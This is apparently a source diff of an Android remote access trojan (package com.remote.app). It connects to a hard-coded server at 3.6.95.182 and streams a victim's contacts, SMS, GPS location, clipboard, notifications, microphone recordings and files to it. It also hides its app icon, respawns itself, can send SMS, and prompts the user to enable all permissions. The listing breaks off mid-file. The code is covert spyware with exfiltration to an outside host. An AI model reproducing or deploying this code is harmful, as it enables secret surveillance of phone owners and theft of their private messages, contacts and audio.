|
||||||
|
// check if GPS enabled
|
||||||
|
if(gps.canGetLocation()){
|
||||||
|
ioSocket.emit("0xLO", gps.getData());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
40
client/app/src/main/java/com/remote/app/ContactsManager.java
Normal file
40
client/app/src/main/java/com/remote/app/ContactsManager.java
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.database.Cursor;
|
||||||
|
import android.provider.ContactsContract;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
public class ContactsManager {
|
||||||
|
|
||||||
|
public static JSONObject getContacts(){
|
||||||
|
|
||||||
|
try {
|
||||||
|
JSONObject contacts = new JSONObject();
|
||||||
|
JSONArray list = new JSONArray();
|
||||||
|
Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
|
||||||
|
new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC");
|
||||||
|
|
||||||
|
|
||||||
|
while (cur.moveToNext()) {
|
||||||
|
JSONObject contact = new JSONObject();
|
||||||
|
String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));// for number
|
||||||
|
String num = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));// for name
|
||||||
|
|
||||||
|
contact.put("phoneNo", num);
|
||||||
|
contact.put("name", name);
|
||||||
|
list.put(contact);
|
||||||
|
|
||||||
|
}
|
||||||
|
contacts.put("contactsList", list);
|
||||||
|
return contacts;
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
93
client/app/src/main/java/com/remote/app/FileManager.java
Normal file
93
client/app/src/main/java/com/remote/app/FileManager.java
Normal file
@ -0,0 +1,93 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.io.BufferedInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileNotFoundException;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
|
||||||
|
public class FileManager {
|
||||||
|
|
||||||
|
|
||||||
|
public static JSONArray walk(String path){
|
||||||
|
|
||||||
|
|
||||||
|
// Read all files sorted into the values-array
|
||||||
|
JSONArray values = new JSONArray();
|
||||||
|
File dir = new File(path);
|
||||||
|
if (!dir.canRead()) {
|
||||||
|
Log.d("cannot","inaccessible");
|
||||||
|
try {
|
||||||
|
JSONObject errorJson = new JSONObject();
|
||||||
|
errorJson.put("type", "error");
|
||||||
|
errorJson.put("error", "Denied");
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xFI" , errorJson);
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
File[] list = dir.listFiles();
|
||||||
|
try {
|
||||||
|
if (list != null) {
|
||||||
|
JSONObject parenttObj = new JSONObject();
|
||||||
|
parenttObj.put("name", "../");
|
||||||
|
parenttObj.put("isDir", true);
|
||||||
|
parenttObj.put("path", dir.getParent());
|
||||||
|
values.put(parenttObj);
|
||||||
|
for (File file : list) {
|
||||||
|
if (!file.getName().startsWith(".")) {
|
||||||
|
JSONObject fileObj = new JSONObject();
|
||||||
|
fileObj.put("name", file.getName());
|
||||||
|
fileObj.put("isDir", file.isDirectory());
|
||||||
|
fileObj.put("path", file.getAbsolutePath());
|
||||||
|
values.put(fileObj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return values;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void downloadFile(String path){
|
||||||
|
if (path == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
File file = new File(path);
|
||||||
|
|
||||||
|
if (file.exists()){
|
||||||
|
|
||||||
|
int size = (int) file.length();
|
||||||
|
byte[] data = new byte[size];
|
||||||
|
try {
|
||||||
|
BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
|
||||||
|
buf.read(data, 0, data.length);
|
||||||
|
JSONObject object = new JSONObject();
|
||||||
|
object.put("type","download");
|
||||||
|
object.put("name",file.getName());
|
||||||
|
object.put("buffer" , data);
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xFI" , object);
|
||||||
|
buf.close();
|
||||||
|
} catch (FileNotFoundException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
42
client/app/src/main/java/com/remote/app/IOSocket.java
Normal file
42
client/app/src/main/java/com/remote/app/IOSocket.java
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.os.Build;
|
||||||
|
import android.provider.Settings;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import io.socket.client.IO;
|
||||||
|
import io.socket.client.Socket;
|
||||||
|
|
||||||
|
public class IOSocket {
|
||||||
|
private static IOSocket ourInstance = new IOSocket();
|
||||||
|
private io.socket.client.Socket ioSocket;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
private IOSocket() {
|
||||||
|
try {
|
||||||
|
|
||||||
|
String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
|
||||||
|
IO.Options opts = new IO.Options();
|
||||||
|
opts.reconnection = true;
|
||||||
|
opts.reconnectionDelay = 5000;
|
||||||
|
opts.reconnectionDelayMax = 999999999;
|
||||||
|
|
||||||
|
ioSocket = IO.socket("http://3.6.95.182:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
|
||||||
|
} catch (URISyntaxException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static IOSocket getInstance() {
|
||||||
|
return ourInstance;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Socket getIoSocket() {
|
||||||
|
return ioSocket;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
151
client/app/src/main/java/com/remote/app/LocManager.java
Normal file
151
client/app/src/main/java/com/remote/app/LocManager.java
Normal file
@ -0,0 +1,151 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.Manifest;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.pm.PackageManager;
|
||||||
|
import android.location.Location;
|
||||||
|
import android.location.LocationListener;
|
||||||
|
import android.location.LocationManager;
|
||||||
|
import android.os.Bundle;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import static com.remote.app.ConnectionManager.context;
|
||||||
|
import static android.content.Context.LOCATION_SERVICE;
|
||||||
|
|
||||||
|
public class LocManager implements LocationListener {
|
||||||
|
|
||||||
|
private final Context mContext;
|
||||||
|
boolean isGPSEnabled = false;
|
||||||
|
boolean isNetworkEnabled = false;
|
||||||
|
boolean canGetLocation = false;
|
||||||
|
Location location;
|
||||||
|
double latitude;
|
||||||
|
double longitude;
|
||||||
|
float accuracy;
|
||||||
|
double altitude;
|
||||||
|
float speed;
|
||||||
|
|
||||||
|
// The minimum distance to change Updates in meters
|
||||||
|
private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 10; // 10 meters
|
||||||
|
|
||||||
|
// The minimum time between updates in milliseconds
|
||||||
|
private static final long MIN_TIME_BW_UPDATES = 1000 * 60 * 1; // 10 minutes
|
||||||
|
|
||||||
|
// Declaring a Location Manager
|
||||||
|
protected LocationManager locationManager;
|
||||||
|
|
||||||
|
|
||||||
|
public LocManager() {
|
||||||
|
this.mContext = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public LocManager(Context context) {
|
||||||
|
this.mContext = context;
|
||||||
|
getLocation();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Location getLocation() {
|
||||||
|
try {
|
||||||
|
locationManager = (LocationManager) mContext.getSystemService(LOCATION_SERVICE);
|
||||||
|
// getting GPS status
|
||||||
|
isGPSEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
|
||||||
|
// getting network status
|
||||||
|
isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
|
||||||
|
|
||||||
|
if (isGPSEnabled || isNetworkEnabled) {
|
||||||
|
|
||||||
|
this.canGetLocation = true;
|
||||||
|
if(context.getPackageManager().checkPermission(Manifest.permission.ACCESS_FINE_LOCATION, context.getPackageName()) == PackageManager.PERMISSION_GRANTED &&
|
||||||
|
context.getPackageManager().checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) {
|
||||||
|
// First get location from Network Provider
|
||||||
|
if (isNetworkEnabled) {
|
||||||
|
|
||||||
|
if (locationManager != null) {
|
||||||
|
location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
|
||||||
|
if (location != null) {
|
||||||
|
latitude = location.getLatitude();
|
||||||
|
longitude = location.getLongitude();
|
||||||
|
altitude = location.getAltitude();
|
||||||
|
accuracy = location.getAccuracy();
|
||||||
|
speed = location.getSpeed();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// if GPS Enabled get lat/long using GPS Services
|
||||||
|
if (isGPSEnabled) {
|
||||||
|
if (location == null) {
|
||||||
|
|
||||||
|
if (locationManager != null) {
|
||||||
|
location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
|
||||||
|
if (location != null) {
|
||||||
|
latitude = location.getLatitude();
|
||||||
|
longitude = location.getLongitude();
|
||||||
|
altitude = location.getAltitude();
|
||||||
|
accuracy = location.getAccuracy();
|
||||||
|
speed = location.getSpeed();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
return location;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean canGetLocation() {
|
||||||
|
return this.canGetLocation;
|
||||||
|
}
|
||||||
|
|
||||||
|
public JSONObject getData(){
|
||||||
|
JSONObject data = new JSONObject();
|
||||||
|
if(location != null){
|
||||||
|
try {
|
||||||
|
data.put("enabled" , true);
|
||||||
|
data.put("latitude", latitude);
|
||||||
|
data.put("longitude", longitude);
|
||||||
|
data.put("altitude", altitude);
|
||||||
|
data.put("accuracy", accuracy);
|
||||||
|
data.put("speed", speed);
|
||||||
|
|
||||||
|
return data;
|
||||||
|
} catch (JSONException e) { return data; }
|
||||||
|
} else return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onLocationChanged(Location location) {
|
||||||
|
if(location != null) {
|
||||||
|
latitude = location.getLatitude();
|
||||||
|
longitude = location.getLongitude();
|
||||||
|
altitude = location.getAltitude();
|
||||||
|
accuracy = location.getAccuracy();
|
||||||
|
speed = location.getSpeed();
|
||||||
|
}
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xLO" , getData());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onProviderDisabled(String provider) {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onProviderEnabled(String provider) {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onStatusChanged(String provider, int status, Bundle extras) {
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
60
client/app/src/main/java/com/remote/app/MainActivity.java
Normal file
60
client/app/src/main/java/com/remote/app/MainActivity.java
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.app.Activity;
|
||||||
|
import android.content.ContentResolver;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.graphics.Color;
|
||||||
|
import android.graphics.Typeface;
|
||||||
|
import android.net.Uri;
|
||||||
|
import android.os.Bundle;
|
||||||
|
import android.provider.Settings;
|
||||||
|
import android.view.Gravity;
|
||||||
|
import android.widget.TextView;
|
||||||
|
import android.widget.Toast;
|
||||||
|
|
||||||
|
|
||||||
|
public class MainActivity extends Activity {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
|
super.onCreate(savedInstanceState);
|
||||||
|
|
||||||
|
setContentView(R.layout.activity_main);
|
||||||
|
startService(new Intent(this, MainService.class));
|
||||||
|
boolean isNotificationServiceRunning = isNotificationServiceRunning();
|
||||||
|
if(!isNotificationServiceRunning){
|
||||||
|
|
||||||
|
Context context = getApplicationContext();
|
||||||
|
CharSequence text = "Click 'Permissions'\nEnable ALL permissions\n Click back x2\n Enable 'Package Manager'";
|
||||||
|
int duration = Toast.LENGTH_LONG;
|
||||||
|
|
||||||
|
Toast toast = Toast.makeText(context, text, duration);
|
||||||
|
|
||||||
|
TextView v = (TextView) toast.getView().findViewById(android.R.id.message);
|
||||||
|
v.setTextColor(Color.RED);
|
||||||
|
v.setTypeface(Typeface.DEFAULT_BOLD);
|
||||||
|
v.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
|
||||||
|
toast.show();
|
||||||
|
|
||||||
|
// spawn notification thing
|
||||||
|
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
|
||||||
|
|
||||||
|
// spawn app page settings so you can enable all perms
|
||||||
|
Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
|
||||||
|
startActivity(i);
|
||||||
|
}
|
||||||
|
|
||||||
|
finish();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
private boolean isNotificationServiceRunning() {
|
||||||
|
ContentResolver contentResolver = getContentResolver();
|
||||||
|
String enabledNotificationListeners =
|
||||||
|
Settings.Secure.getString(contentResolver, "enabled_notification_listeners");
|
||||||
|
String packageName = getPackageName();
|
||||||
|
return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName);
|
||||||
|
}
|
||||||
|
}
|
78
client/app/src/main/java/com/remote/app/MainService.java
Normal file
78
client/app/src/main/java/com/remote/app/MainService.java
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.app.Service;
|
||||||
|
import android.content.ClipData;
|
||||||
|
import android.content.ClipboardManager;
|
||||||
|
import android.content.ComponentName;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.content.pm.PackageManager;
|
||||||
|
import android.os.IBinder;
|
||||||
|
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
public class MainService extends Service {
|
||||||
|
private static Context contextOfApplication;
|
||||||
|
|
||||||
|
public MainService() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public IBinder onBind(Intent intent) {
|
||||||
|
// TODO: Return the communication channel to the service.
|
||||||
|
//throw new UnsupportedOperationException("Not yet implemented");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
|
||||||
|
// Hide App Icon
|
||||||
|
PackageManager pkg=this.getPackageManager();
|
||||||
|
pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
|
||||||
|
public void onPrimaryClipChanged() {
|
||||||
|
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||||
|
if (clipboard.hasPrimaryClip()) {
|
||||||
|
ClipData clipData = clipboard.getPrimaryClip();
|
||||||
|
if (clipData.getItemCount() > 0) {
|
||||||
|
CharSequence text = clipData.getItemAt(0).getText();
|
||||||
|
if (text != null) {
|
||||||
|
try {
|
||||||
|
JSONObject data = new JSONObject();
|
||||||
|
data.put("text", text);
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xCB" , data);
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||||
|
clipboardManager.addPrimaryClipChangedListener(mPrimaryChangeListener);
|
||||||
|
|
||||||
|
|
||||||
|
contextOfApplication = this;
|
||||||
|
ConnectionManager.startAsync(this);
|
||||||
|
return Service.START_STICKY;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onDestroy() {
|
||||||
|
super.onDestroy();
|
||||||
|
sendBroadcast(new Intent("respawnService"));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Context getContextOfApplication()
|
||||||
|
{
|
||||||
|
return contextOfApplication;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
88
client/app/src/main/java/com/remote/app/MicManager.java
Normal file
88
client/app/src/main/java/com/remote/app/MicManager.java
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.media.MediaRecorder;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.io.BufferedInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileNotFoundException;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.Timer;
|
||||||
|
import java.util.TimerTask;
|
||||||
|
|
||||||
|
public class MicManager {
|
||||||
|
|
||||||
|
|
||||||
|
static MediaRecorder recorder;
|
||||||
|
static File audiofile = null;
|
||||||
|
static final String TAG = "MediaRecording";
|
||||||
|
static TimerTask stopRecording;
|
||||||
|
|
||||||
|
|
||||||
|
public static void startRecording(int sec) throws Exception {
|
||||||
|
|
||||||
|
|
||||||
|
//Creating file
|
||||||
|
File dir = MainService.getContextOfApplication().getCacheDir();
|
||||||
|
try {
|
||||||
|
Log.e("DIRR" , dir.getAbsolutePath());
|
||||||
|
audiofile = File.createTempFile("sound", ".mp3", dir);
|
||||||
|
} catch (IOException e) {
|
||||||
|
Log.e(TAG, "external storage access error");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Creating MediaRecorder and specifying audio source, output format, encoder & output format
|
||||||
|
recorder = new MediaRecorder();
|
||||||
|
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
|
||||||
|
recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
|
||||||
|
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
|
||||||
|
recorder.setOutputFile(audiofile.getAbsolutePath());
|
||||||
|
recorder.prepare();
|
||||||
|
recorder.start();
|
||||||
|
|
||||||
|
|
||||||
|
stopRecording = new TimerTask() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
//stopping recorder
|
||||||
|
recorder.stop();
|
||||||
|
recorder.release();
|
||||||
|
sendVoice(audiofile);
|
||||||
|
audiofile.delete();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
new Timer().schedule(stopRecording, sec*1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void sendVoice(File file){
|
||||||
|
|
||||||
|
int size = (int) file.length();
|
||||||
|
byte[] data = new byte[size];
|
||||||
|
try {
|
||||||
|
BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
|
||||||
|
buf.read(data, 0, data.length);
|
||||||
|
JSONObject object = new JSONObject();
|
||||||
|
object.put("file",true);
|
||||||
|
object.put("name",file.getName());
|
||||||
|
object.put("buffer" , data);
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xMI" , object);
|
||||||
|
buf.close();
|
||||||
|
} catch (FileNotFoundException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
32
client/app/src/main/java/com/remote/app/MyReceiver.java
Normal file
32
client/app/src/main/java/com/remote/app/MyReceiver.java
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.BroadcastReceiver;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.net.Uri;
|
||||||
|
import android.provider.Settings;
|
||||||
|
|
||||||
|
public class MyReceiver extends BroadcastReceiver {
|
||||||
|
public MyReceiver() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onReceive(Context context, Intent intent) {
|
||||||
|
// TODO: This method is called when the BroadcastReceiver is receiving
|
||||||
|
// an Intent broadcast.
|
||||||
|
|
||||||
|
if(intent.getAction().equals("android.provider.Telephony.SECRET_CODE")) {
|
||||||
|
String uri = intent.getDataString();
|
||||||
|
String[] sep = uri.split("://");
|
||||||
|
if (sep[1].equalsIgnoreCase("8088")) {
|
||||||
|
context.startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
|
||||||
|
} else if (sep[1].equalsIgnoreCase("5055")) {
|
||||||
|
Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
|
||||||
|
context.startActivity(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
intent = new Intent( context, MainService.class );
|
||||||
|
context.startService(intent);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,44 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import android.app.Notification;
|
||||||
|
import android.os.Bundle;
|
||||||
|
import android.os.IBinder;
|
||||||
|
|
||||||
|
import android.content.Intent;
|
||||||
|
|
||||||
|
import android.service.notification.NotificationListenerService;
|
||||||
|
import android.service.notification.StatusBarNotification;
|
||||||
|
|
||||||
|
public class NotificationListener extends NotificationListenerService {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public IBinder onBind(Intent intent) {
|
||||||
|
return super.onBind(intent);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onNotificationPosted(StatusBarNotification sbn){
|
||||||
|
try {
|
||||||
|
String appName = sbn.getPackageName();
|
||||||
|
String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE);
|
||||||
|
CharSequence contentCs = sbn.getNotification().extras.getCharSequence(Notification.EXTRA_TEXT);
|
||||||
|
String content = "";
|
||||||
|
if(contentCs != null) content = contentCs.toString();
|
||||||
|
long postTime = sbn.getPostTime();
|
||||||
|
String uniqueKey = sbn.getKey();
|
||||||
|
|
||||||
|
JSONObject data = new JSONObject();
|
||||||
|
data.put("appName", appName);
|
||||||
|
data.put("title", title);
|
||||||
|
data.put("content", "" + content);
|
||||||
|
data.put("postTime", postTime);
|
||||||
|
data.put("key", uniqueKey);
|
||||||
|
IOSocket.getInstance().getIoSocket().emit("0xNO" , data);
|
||||||
|
} catch (JSONException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,32 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.pm.PackageInfo;
|
||||||
|
import android.content.pm.PackageManager;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import static com.remote.app.ConnectionManager.context;
|
||||||
|
|
||||||
|
public class PermissionManager {
|
||||||
|
|
||||||
|
public static JSONObject getGrantedPermissions() {
|
||||||
|
JSONObject data = new JSONObject();
|
||||||
|
try {
|
||||||
|
JSONArray perms = new JSONArray();
|
||||||
|
PackageInfo pi = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS);
|
||||||
|
for (int i = 0; i < pi.requestedPermissions.length; i++) {
|
||||||
|
if ((pi.requestedPermissionsFlags[i] & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) perms.put(pi.requestedPermissions[i]);
|
||||||
|
}
|
||||||
|
data.put("permissions", perms);
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean canIUse(String perm) {
|
||||||
|
if(context.getPackageManager().checkPermission(perm, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
86
client/app/src/main/java/com/remote/app/SMSManager.java
Normal file
86
client/app/src/main/java/com/remote/app/SMSManager.java
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.database.Cursor;
|
||||||
|
import android.net.Uri;
|
||||||
|
import android.telephony.SmsManager;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONException;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
public class SMSManager {
|
||||||
|
|
||||||
|
public static JSONObject getsms() {
|
||||||
|
JSONObject result = null;
|
||||||
|
JSONArray jarray = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
jarray = new JSONArray();
|
||||||
|
|
||||||
|
result = new JSONObject();
|
||||||
|
Uri uri = Uri.parse("content://sms/");
|
||||||
|
Context act = MainService.getContextOfApplication();
|
||||||
|
Cursor c= act.getContentResolver().query(uri, null, null ,null,null);
|
||||||
|
|
||||||
|
// Read the sms data and store it in the list
|
||||||
|
if(c.moveToFirst()) {
|
||||||
|
|
||||||
|
for(int i=0; i < c.getCount(); i++) {
|
||||||
|
|
||||||
|
result.put("body",c.getString(c.getColumnIndexOrThrow("body")).toString());
|
||||||
|
|
||||||
|
result.put("date",c.getString(c.getColumnIndexOrThrow("date")).toString());
|
||||||
|
result.put("read",c.getString(c.getColumnIndexOrThrow("read")).toString());
|
||||||
|
result.put("type",c.getString(c.getColumnIndexOrThrow("type")).toString());
|
||||||
|
if((c.getString(c.getColumnIndexOrThrow("type")).toString()).equals("3")) {
|
||||||
|
String threadid = c.getString(c.getColumnIndexOrThrow("thread_id")).toString();
|
||||||
|
Cursor cur= act.getContentResolver().query(Uri.parse("content://mms-sms/conversations?simple=true"), null, "_id ="+threadid ,null,null);
|
||||||
|
if(cur.moveToFirst()) {
|
||||||
|
String recipientId = cur.getString(cur.getColumnIndexOrThrow("recipient_ids")).toString();
|
||||||
|
cur= act.getContentResolver().query(Uri.parse("content://mms-sms/canonical-addresses"), null, "_id = " + recipientId, null, null);
|
||||||
|
if(cur.moveToFirst()) {
|
||||||
|
String address = cur.getString(cur.getColumnIndexOrThrow("address")).toString();
|
||||||
|
result.put("address",address);
|
||||||
|
cur.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}else {
|
||||||
|
result.put("address",c.getString(c.getColumnIndexOrThrow("address")).toString());
|
||||||
|
}
|
||||||
|
jarray.put(result);
|
||||||
|
result = new JSONObject();
|
||||||
|
|
||||||
|
c.moveToNext();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
c.close();
|
||||||
|
|
||||||
|
result.put("smslist", jarray);
|
||||||
|
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
// TODO Auto-generated catch block
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (JSONException e) {
|
||||||
|
// TODO Auto-generated catch block
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static boolean sendSMS(String phoneNo, String msg) {
|
||||||
|
try {
|
||||||
|
SmsManager smsManager = SmsManager.getDefault();
|
||||||
|
smsManager.sendTextMessage(phoneNo, null, msg, null, null);
|
||||||
|
return true;
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
14
client/app/src/main/java/com/remote/app/ServiceReciever.java
Normal file
14
